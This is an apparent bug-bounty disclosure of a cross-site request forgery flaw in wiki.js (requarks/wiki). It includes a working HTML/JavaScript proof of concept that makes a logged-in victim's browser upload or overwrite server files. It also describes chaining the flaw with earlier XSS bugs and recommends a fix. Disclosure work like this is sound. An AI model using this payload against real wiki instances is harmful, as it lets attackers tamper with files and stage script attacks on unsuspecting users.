Cross-Site Request Forgery (CSRF) in requarks/wiki
Reported on
Jan 20th 2022
Description
CSRF to upload and overwrite files
Proof of Concept
Open this HTML as a logged-in user
<html>
<body>
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://127.0.0.1:3000/u", true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "de-de,de;q=0.8,en-us;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------256672629917035");
xhr.withCredentials = "true";
var body = "-----------------------------256672629917035\r\n" +
"Content-Disposition: form-data; name=\"mediaUpload\"\r\n" +
"\r\n" + "{\"folderId\":0}" +
"\r\n" +
"-----------------------------256672629917035\r\n" +
"Content-Disposition: form-data; name=\"mediaUpload\"; ; filename=\"pwned.txt\"\r\n" +
"Content-Type: text/plain\r\n" +
"\r\n" +
"[DATA-HERE]" + "\r\n" +
"-----------------------------256672629917035--\r\n"
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
</script>
</body>
</html>
A file named pwned.txt should be uploaded.
If a file named pwned.txt was already on the server then it will be overwritten.
Impact
When a logged-in victim visits a website hosting the malicious HTML, they will unknowingly upload / overwrite files to the wiki.js server, this can be chained to perform unauthenticated XSS via previous vulnerabilities in wiki.js < 2.5.264 by tricking the victim to upload a malicious SVG / XML file via the CSRF vulnerability and then redirecting them to the malicious file.
Recommened Fix
Use the Authorization header to authorize a file upload rather than a cookie upload as the Authorization header will not be sent by the browser in cross-origin requests